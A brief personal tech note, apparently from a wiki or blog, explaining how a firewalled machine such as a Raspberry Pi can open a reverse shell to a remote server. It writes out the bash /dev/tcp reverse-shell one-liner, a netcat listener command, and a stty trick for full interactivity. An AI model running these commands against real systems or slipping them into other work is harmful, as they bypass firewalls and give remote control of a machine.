reverse shell

Systems behind a firewall can open up a shell in a way that it uses a socket connection to a remote server. :-) In other words, to provide a shell to a remote server (e.g. mattzz.de) use this command e.g. on the RPi:

• $ bash -i >& /dev/tcp/mattzz.de/9000 0>&1

On mattzz.de:

• $ nc -vnlp 9000

to make shell fully interactive:

• CTRL-Z
• $ stty raw -echo; fg